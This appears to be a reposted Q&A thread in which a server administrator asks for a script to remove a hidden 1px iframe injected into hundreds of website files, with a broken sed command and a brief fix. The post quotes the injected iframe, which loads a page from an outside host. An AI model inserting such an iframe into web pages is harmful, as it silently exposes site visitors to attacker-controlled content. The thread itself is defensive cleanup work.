Looking for script to delete iframe malware from linux server -


i'm looking script delete following iframe malware linux server:

    <iframe width="1px" height="1px" src="http://ishigo.sytes.net/openstat/appropriate/promise-ourselves.php" style="display:block;" ></iframe> 

it has infected hundreads of files on server on different websites. tried

    grep -rl ishigo.sytes.net * | sed 's/ /\ /g' | xargs sed -i 's/<iframe width="1px" height="1px" src="http://ishigo.sytes.net/openstat/appropriate/promise-ourselves.php" style="display:block;" ></iframe>//g' 

but outputs:

    sed: -e expression #1, char 49: unknown option `s' 

appreciate :)

cheers dee

unescape backslashes url in sed regex.


Comments

Popular posts from this blog

jquery - How can I dynamically add a browser tab? -

node.js - Getting the socket id,user id pair of a logged in user(s) -

keyboard - C++ GetAsyncKeyState alternative -